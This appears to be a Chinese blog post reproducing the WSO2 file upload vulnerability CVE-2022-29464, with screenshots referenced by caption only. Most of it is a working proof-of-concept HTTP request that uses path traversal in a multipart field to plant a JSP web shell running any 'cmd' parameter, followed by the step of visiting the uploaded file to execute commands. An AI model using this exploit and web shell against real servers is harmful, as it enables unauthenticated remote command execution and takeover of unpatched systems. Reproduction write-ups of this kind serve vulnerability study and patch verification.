CVE-2022-29464漏洞复现

WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。

1.访问WSO2 https://ip:port/carbon/admin/login.jsp

CVE-2022-29464漏洞复现_第1张图片

2.抓包然后构造请求包,返回数字即为上传成功。

CVE-2022-29464漏洞复现_第2张图片

 

poc如下:

POST /fileupload/toolsAny HTTP/2
Host: xxx:80
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 889
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"

<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>
<%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--

3.上传成功之后访问ip:port/authenticationendpoint/1.jsp即可执行命令。 

CVE-2022-29464漏洞复现_第3张图片

 

 

你可能感兴趣的:(服务器,网络,运维,安全)